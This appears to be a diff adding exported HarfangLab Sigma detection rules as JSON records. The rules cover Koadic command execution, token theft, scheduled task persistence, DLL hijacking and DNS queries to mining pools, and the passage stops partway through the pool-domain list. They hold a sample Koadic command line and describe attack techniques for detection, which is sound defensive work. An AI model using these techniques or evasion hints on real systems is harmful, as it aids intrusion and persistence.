+  "hl_testing_start_time": "2026-03-23T11:45:34.083865Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/offsecginger/koadic",
+    "https://attack.mitre.org/techniques/T1202/",
+    "https://attack.mitre.org/software/S0250/"
+  ],
+  "name": "t1202_koadic_command_exec.yml",
+  "content": "title: Koadic Command Executed\nid: a4aa19f3-3192-47f5-a0f6-5efc28a4fa98\ndescription: |\n    Detects patterns used by Koadic to execute remote commands on infected systems.\n    Koadic is a Windows post-exploitation framework and penetration testing tool that is publicly available on GitHub.\n    Such commands are prefixed by a call to `chcp` to ensure the output is in English, which is also redirected to a temporary file that is then transferred back to the C2 server.\n    It is recommended to investigate the command-line performing this action to determine its legitimacy and to look for other malicious actions. The network activity can be used to identify the machine at the origin of this action.\nreferences:\n    - https://github.com/offsecginger/koadic\n    - https://attack.mitre.org/techniques/T1202/\n    - https://attack.mitre.org/software/S0250/\ndate: 2021/04/29\nmodified: 2025/04/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1202\n    - attack.s0250\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Trojan.Koadic\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    # cmd.exe /q /c chcp 850 & cd 1> C:\\Users\\user\\AppData\\Local\\Temp\\925c7ae3-4336-43f0-9a7d-90d2cc35ed56.txt 2>&1\n    selection_bin:\n        - Image|endswith: '\\cmd.exe'\n        - OriginalFileName: 'Cmd.Exe'\n\n    selection_cmd:\n        CommandLine|contains: '/q /c chcp * & * 1> ?:\\\\*\\Temp\\\\????????-????-????-????-????????????.txt 2>&1'\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a4aa19f3-3192-47f5-a0f6-5efc28a4fa98",
+  "rule_name": "Koadic Command Executed",
+  "rule_description": "Detects patterns used by Koadic to execute remote commands on infected systems.\nKoadic is a Windows post-exploitation framework and penetration testing tool that is publicly available on GitHub.\nSuch commands are prefixed by a call to `chcp` to ensure the output is in English, which is also redirected to a temporary file that is then transferred back to the C2 server.\nIt is recommended to investigate the command-line performing this action to determine its legitimacy and to look for other malicious actions. The network activity can be used to identify the machine at the origin of this action.\n",
+  "rule_creation_date": "2021-04-29",
+  "rule_modified_date": "2025-04-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1202"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a4efa888-5666-4c7a-be53-94ec7fa3b9c9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.620746Z",
+  "creation_date": "2026-03-23T11:45:34.620749Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.620754Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.cybertriage.com/blog/windows-scheduled-tasks-for-dfir-investigations/",
+    "https://attack.mitre.org/techniques/T1053/005/"
+  ],
+  "name": "t1053_unusual_task_with_many_actions.yml",
+  "content": "title: Scheduled Task With Unusual Number of Actions\nid: a4efa888-5666-4c7a-be53-94ec7fa3b9c9\ndescription: |\n    Detects the creation or update of a scheduled task containing two actions or more.\n    Threat actors may update an initially legitimate scheduled task by appending a second action (scheduled task's way of executing code) that launches their malicious payload for persistence as a way to avoid defenses.\n    It is recommended to click the \"Task Information\" button and investigate the contents of the scheduled task thoroughly to determine maliciousness.\nreferences:\n    - https://www.cybertriage.com/blog/windows-scheduled-tasks-for-dfir-investigations/\n    - https://attack.mitre.org/techniques/T1053/005/\ndate: 2025/09/02\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1053.005\n    - classification.Windows.Source.ScheduledTask\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: scheduled_task\ndetection:\n    selection:\n        OperationType:\n            - 'create'\n            - 'update'\n        NumberOfActions|gte: 2\n        ProcessImage|contains: '?'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_microsoft_mare_backup:\n        TaskName: '\\Microsoft\\Windows\\Application Experience\\MareBackup'\n        FirstActionCommandLine: '%windir%\\system32\\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW invsvc'\n        NumberOfActions: 3\n\n    exclusion_microsoft_compat_appraise:\n        TaskName: '\\Microsoft\\Windows\\Application Experience\\Microsoft Compatibility Appraiser'\n        FirstActionCommandLine: '%windir%\\system32\\compattel\\DiagTrackRunner.exe /UploadEtlFilesOnly'\n        NumberOfActions: 2\n\n    exclusion_microsoft_tpm_clear:\n        TaskName: '\\Microsoft\\Windows\\TPM\\ClearTPMIfNotReady'\n        FirstActionCommandLine: 'tpminit.exe /cleartpmbypolicy'\n        NumberOfActions: 2\n\n    exclusion_microsoft_server_manager:\n        TaskName: '\\Microsoft\\Windows\\Server Manager\\RemovewYukon'\n        FirstActionCommandLine: 'msiexec /q /x {BDD79957-5801-4A2D-B09E-852E7FA64D01} CALLERID=ocsetup.exe'\n        NumberOfActions: 2\n\n    exclusion_microsoft_win11_perfmon:\n        ProcessCommandLine: '?:\\WINDOWS\\System32\\perfmon.exe /noelev /report'\n        TaskName: '\\Microsoft\\Windows\\PLA\\System\\{????????-????-????-????-????????????}_System Diagnostics'\n\n    exclusion_update_touch_mode:\n        TaskName|startswith: '\\eGalaxUpdateTouchMode'\n        FirstActionCommandLine: '\"?:\\Program Files\\Common Files\\EETI\\TouchControl.exe\" -UpdateTouchMode'\n\n    exclusion_avira:\n        TaskName: '\\Avira_Security_Maintenance'\n        FirstActionCommandLine: '?:\\Program Files (x86)\\Avira\\Security\\Avira.Spotlight.Service.Worker.exe FallbackTelemetry'\n\n    exclusion_av:\n        TaskName: '\\AVAST Software\\Gaming mode Task Scheduler recovery'\n        ProcessImage:\n            - '?:\\Program Files\\AVAST Software\\Suite\\\\*ToolsSvc.exe'\n            - '?:\\Program Files\\AVAST Software\\Avast\\\\*ToolsSvc.exe'\n            - '?:\\Program Files\\AVG\\Antivirus\\\\*ToolsSvc.exe'\n\n    exclusion_amazon_managed_services:\n        TaskName: '\\CleanUpAMS_Service'\n        FirstActionCommandLine: 'powershell.exe -ExecutionPolicy Bypass -File \"%ProgramData%\\AMD\\Manageability\\AMSUninstallCleanup.ps1\"'\n\n    exclusion_lenovo:\n        TaskName: '\\Lenovo\\DockManager\\DockManager - Service Launcher'\n        FirstActionCommandLine: 'NET STOP \"dockmgr.svc.exe\"'\n\n    exclusion_rudder:\n        TaskName: '\\Rudder-Agent'\n        FirstActionCommandLine: 'powershell.exe -NonInteractive -NoLogo -WindowStyle Hidden -file \"?:\\Program Files\\Rudder?bin?rudder.ps1\" agent update'\n\n    exclusion_egalax:\n        TaskName: '\\eGalaxRegisterTaskService'\n        FirstActionCommandLine|contains: '?:\\Program Files\\Common Files\\EETI\\TouchControl.exe\" -UpdateTouchMode'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a4efa888-5666-4c7a-be53-94ec7fa3b9c9",
+  "rule_name": "Scheduled Task With Unusual Number of Actions",
+  "rule_description": "Detects the creation or update of a scheduled task containing two actions or more.\nThreat actors may update an initially legitimate scheduled task by appending a second action (scheduled task's way of executing code) that launches their malicious payload for persistence as a way to avoid defenses.\nIt is recommended to click the \"Task Information\" button and investigate the contents of the scheduled task thoroughly to determine maliciousness.\n",
+  "rule_creation_date": "2025-09-02",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a5115c2e-c9c3-43cf-aa11-a7001d4f852f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.596184Z",
+  "creation_date": "2026-03-23T11:45:34.596187Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.596195Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://jonny-johnson.medium.com/changing-primary-tokens-session-id-931c269aa08e",
+    "https://www.solomonsklash.io/stealing-tokens-with-malicious-driver.html",
+    "https://attack.mitre.org/techniques/T1134/001/",
+    "https://attack.mitre.org/techniques/T1068/"
+  ],
+  "name": "t1134_001_primary_token_theft_kernel.yml",
+  "content": "title: Primary Token Theft Detected\nid: a5115c2e-c9c3-43cf-aa11-a7001d4f852f\ndescription: |\n    Detects a process primary token being stolen and added to another process either directly from kernel memory or through NtSetInformationProcess.\n    Attackers can use vulnerable kernel drivers to have read/write primitives on the kernel memory.\n    Using these primitives, attackers can modify undocumented kernel structures pertaining to processes, and more specifically copy access tokens to other processes to elevate their privileges.\n    Attackers can also use NtSetInformationProcess to add a process's primary token to another process while it is suspended.é\n    It is recommended to search for unusual driver loads preceding this alert, as well as to analyze the targeted process for malicious content or behavior.\nreferences:\n    - https://jonny-johnson.medium.com/changing-primary-tokens-session-id-931c269aa08e\n    - https://www.solomonsklash.io/stealing-tokens-with-malicious-driver.html\n    - https://attack.mitre.org/techniques/T1134/001/\n    - https://attack.mitre.org/techniques/T1068/\ndate: 2024/02/01\nmodified: 2025/09/24\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1134.001\n    - attack.t1068\n    - classification.Windows.Source.PrimaryTokenChange\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.Exploitation\nlogsource:\n    product: windows\n    category: primary_token_change\ndetection:\n    selection_low_to_privileged:\n        ProcessIntegrityLevel:\n            - 'Untrusted'\n            - 'Low'\n            - 'Medium'\n            - 'Unknown'\n        NewIntegrityLevel:\n            - 'High'\n            - 'System'\n\n    selection_high_to_system:\n        ProcessIntegrityLevel: 'High'\n        NewIntegrityLevel: 'System'\n\n    filter_msiexec:\n        NewIntegrityLevel: 'System'\n        ProcessImage: '?:\\Windows\\System32\\msiexec.exe'\n\n    filter_broken_tokens:\n        - ProcessParentIntegrityLevel: 'Unknown'\n        - ProcessGrandparentIntegrityLevel: 'Unknown'\n\n    exclusion_posix_subsystem:\n        - ProcessGrandparentImage: '?:\\Windows\\System32\\psxss.exe'\n        - ProcessParentImage: '?:\\Windows\\System32\\psxss.exe'\n        - ProcessImage: '?:\\Windows\\System32\\psxss.exe'\n\n    exclusion_uni_elevator:\n        ProcessParentImage:\n            - '?:\\Users\\\\*\\AppData\\Local\\Programs\\UniGetUI\\Assets\\Utilities\\UniGetUI Elevator.exe'\n            - '?:\\Program Files\\WingetUI\\Assets\\Utilities\\UniGetUI Elevator.exe'\n            - '?:\\Program Files\\UniGetUI\\Assets\\Utilities\\UniGetUI Elevator.exe'\n\n    exclusion_total_security:\n        ProcessImage|startswith:\n            - '?:\\Program Files (x86)\\360\\Total Security\\'\n            - '?:\\Program Files\\360\\Total Security\\'\n            - '?:\\Program Files (x86)\\360\\360safe\\'\n            - '?:\\Program Files\\360\\360safe\\'\n\n    exclusion_gsudo:\n        ProcessParentOriginalFileName:\n            - 'gsudo.dll'\n            - 'gsudo.exe'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature:\n            - 'Gerardo Grignoli'\n            - 'Inext Ventures Inc'\n\n    exclusion_avast:\n        ProcessAncestors|contains:\n            - '?:\\Program Files\\Avast Software\\Avast\\AvastSvc.exe'\n            - '?:\\Program Files (x86)\\Avast Software\\Avast\\AvastSvc.exe'\n\n    exclusion_wsl:\n        - ProcessImage: '?:\\Windows\\System32\\wsl.exe'\n        - ProcessAncestors|contains: '?:\\Windows\\System32\\wsl.exe'\n\n    exclusion_ivanti_workspace_control:\n        ProcessAncestors|contains:\n            - '?:\\Program Files (x86)\\Ivanti\\Workspace Control\\pfwsmgr.exe'\n            - '?:\\Program Files\\Ivanti\\Workspace Control\\pfwsmgr.exe'\n            - '?:\\Program Files (x86)\\Ivanti\\Workspace Control\\pwrgrid.exe'\n            - '?:\\Program Files\\Ivanti\\Workspace Control\\pwrgrid.exe'\n            - '?:\\Program Files (x86)\\Ivanti\\Ivanti Cloud Agent\\UWM_AC_ENGINE.WIN64\\AMAgent.exe'\n            - '?:\\Program Files\\Ivanti\\Ivanti Cloud Agent\\UWM_AC_ENGINE.WIN64\\AMAgent.exe'\n            - '?:\\Program Files (x86)\\RES Software\\Workspace Manager\\pfwsmgr.exe'\n            - '?:\\Program Files\\RES Software\\Workspace Manager\\pfwsmgr.exe'\n            - '?:\\Program Files (x86)\\RES Software\\Workspace Manager\\wmstartmenu.exe'\n            - '?:\\Program Files\\RES Software\\Workspace Manager\\wmstartmenu.exe'\n    condition: 1 of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a5115c2e-c9c3-43cf-aa11-a7001d4f852f",
+  "rule_name": "Primary Token Theft Detected",
+  "rule_description": "Detects a process primary token being stolen and added to another process either directly from kernel memory or through NtSetInformationProcess.\nAttackers can use vulnerable kernel drivers to have read/write primitives on the kernel memory.\nUsing these primitives, attackers can modify undocumented kernel structures pertaining to processes, and more specifically copy access tokens to other processes to elevate their privileges.\nAttackers can also use NtSetInformationProcess to add a process's primary token to another process while it is suspended.é\nIt is recommended to search for unusual driver loads preceding this alert, as well as to analyze the targeted process for malicious content or behavior.\n",
+  "rule_creation_date": "2024-02-01",
+  "rule_modified_date": "2025-09-24",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068",
+    "attack.t1134.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a512ebf0-fe11-4238-a1ce-fefde18c321c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.086835Z",
+  "creation_date": "2026-03-23T11:45:34.086837Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.086842Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/netero1010/GhostTask",
+    "https://attack.mitre.org/techniques/T1112/",
+    "https://attack.mitre.org/techniques/T1053/005/"
+  ],
+  "name": "t1112_scheduled_task_created_registry.yml",
+  "content": "title: Scheduled Task Created via Registry Modification\nid: a512ebf0-fe11-4238-a1ce-fefde18c321c\ndescription: |\n    Detects the creation of a scheduled task via a manual registry modification.\n    Scheduled tasks are often used by attackers as persistence mechanisms.\n    To evade detection, they can create a scheduled task through a registry key manipulation, however, SYSTEM privileges are required.\n    It is recommended to investigate the process performing this action to determine its legitimacy.\nreferences:\n    - https://github.com/netero1010/GhostTask\n    - https://attack.mitre.org/techniques/T1112/\n    - https://attack.mitre.org/techniques/T1053/005/\ndate: 2023/11/22\nmodified: 2026/02/17\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1112\n    - attack.execution\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1053.005\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: 'SetValue'\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\\\*\\Id'\n        Details: '{????????-????-????-????-????????????}'\n        ProcessImage|contains: '?'\n\n    filter_scheduler:\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Schedule' # windows 10 Version 1703 and above\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p' # windows versions before 1703\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs' # windows 7\n            - '?:\\windows\\system32\\svchost.exe -k netsvcs -s Schedule' # Windows 10 1703\n\n    exclusion_windeploy:\n        ProcessCommandLine:\n            - '?:\\$WINDOWS.~BT\\Sources\\SetupPlatform.exe /preoobe'\n            - '?:\\Windows\\System32\\oobe\\Setup.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\oobe\\windeploy.exe'\n\n    exclusion_tiworker:\n        ProcessImage: '?:\\Windows\\WinSxS\\\\*\\TiWorker.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\svchost.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    exclusion_kodak:\n        ProcessImage: '?:\\Windows\\System32\\msiexec.exe'\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\kodakalarisincscanner\\Id'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a512ebf0-fe11-4238-a1ce-fefde18c321c",
+  "rule_name": "Scheduled Task Created via Registry Modification",
+  "rule_description": "Detects the creation of a scheduled task via a manual registry modification.\nScheduled tasks are often used by attackers as persistence mechanisms.\nTo evade detection, they can create a scheduled task through a registry key manipulation, however, SYSTEM privileges are required.\nIt is recommended to investigate the process performing this action to determine its legitimacy.\n",
+  "rule_creation_date": "2023-11-22",
+  "rule_modified_date": "2026-02-17",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053.005",
+    "attack.t1112"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a5514a00-d15f-42a9-9708-c4b080543efd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.599998Z",
+  "creation_date": "2026-03-23T11:45:34.600002Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.600010Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xforcered/WFH",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_rendom.yml",
+  "content": "title: DLL Hijacking via rendo.exe\nid: a5514a00-d15f-42a9-9708-c4b080543efd\ndescription: |\n    Detects potential Windows DLL Hijacking via rendo.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://github.com/xforcered/WFH\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'rendom.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dnsapi.dll'\n            - '\\dsparse.dll'\n            - '\\logoncli.dll'\n            - '\\netutils.dll'\n            - '\\ntdsapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a5514a00-d15f-42a9-9708-c4b080543efd",
+  "rule_name": "DLL Hijacking via rendo.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via rendo.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a596512c-c042-4d93-aa3b-bcd10e987acb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.294210Z",
+  "creation_date": "2026-03-23T11:45:35.294214Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.294222Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.malwarebytes.com/cryptojacking",
+    "https://attack.mitre.org/techniques/T1496/"
+  ],
+  "name": "t1496_cryptominer_pool_dns_request_windows.yml",
+  "content": "title: DNS Request to Cryptocurrency Mining Pool (Windows)\nid: a596512c-c042-4d93-aa3b-bcd10e987acb\ndescription: |\n    Detects a DNS resolution request for a known cryptocurrency mining pool website.\n    A mining pool is a joint group of cryptocurrency miners who combine resources over a network to find blocks quicker and share coins.\n    This may be an indicator of hidden or covert mining programs in a system making requests to crypto pooling websites.\n    It is recommended to investigate the process performing this request to determine its legitimacy.\nreferences:\n    - https://www.malwarebytes.com/cryptojacking\n    - https://attack.mitre.org/techniques/T1496/\ndate: 2023/04/06\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.impact\n    - attack.t1496\n    - classification.Windows.Source.DnsQuery\n    - classification.Windows.Behavior.CryptoMiner\nlogsource:\n    product: windows\n    category: dns_query\ndetection:\n    selection:\n        QueryName|contains:\n            - '2miners.com'\n            - '6block.com'\n            - 'acepool.top'\n            - 'aionpool.tech'\n            - 'alph-pool.com'\n            - 'backend-aplha.com'\n            - 'baikalmine.com'\n            - 'blocx.zone'\n            - 'bluenose.link'\n            - 'bohemianpool.com'\n            - 'c3pool.com'\n            - 'cedric-crispin.com'\n            - 'cryptonote.social'\n            - 'crypto-pool.fr'\n            - 'dxpool.net'\n            - 'educu.xyz'\n            - 'ekapool.com'\n            - 'ethashpool.com'\n            - 'ethermine.org'\n            - 'ethwmine.com'\n            - 'ezil.me'\n            - 'f2pool.com'\n            - 'fairhash.org'\n            - 'fastpool.xyz'\n            - 'flockpool.com'\n            - 'fluxpools.net'\n            - 'gntl.uk'\n            - 'grinmint.com'\n            - 'hashcity.org'\n            - 'hashvault.pro'\n            - 'herominers.com'\n            - 'hiveon.com'\n            - 'hiveon.net'\n            - 'minerno.de'\n            - 'minexmr.com'\n            - 'miningmadness.com'\n            - 'miningocean.org'\n            - 'monerod.org'\n            - 'monerohash.com'\n            - 'moneroocean.stream'\n            - 'monerop.com'\n            - 'multi-pools.com'\n            - 'nanopool.org'\n            - 'nicehash.com'\n            - 'p2pool.io'\n            - 'pool2mine.net'\n            - 'pool.binance.com'\n            - 'poolin.com'\n            - 'pool.kryptex.com'\n            - 'pool.sero.cash'\n            - 'pool.xmr.pt'\n            - 'prohashing.com'\n            - 'raptoreum.zone'\n            - 'raptorhash.com'\n            - 'ravenminer.com'\n            - 'rplant.xyz'\n            - 'semipool.com'\n            - 'skypool.org'\n            - 'solopool.org'\n            - 'sunpool.top'\n            - 'supportxmr.com'\n            - 'suprnova.cc'\n            - 'unmineable.com'\n            - 'uupool.cn'\n            - 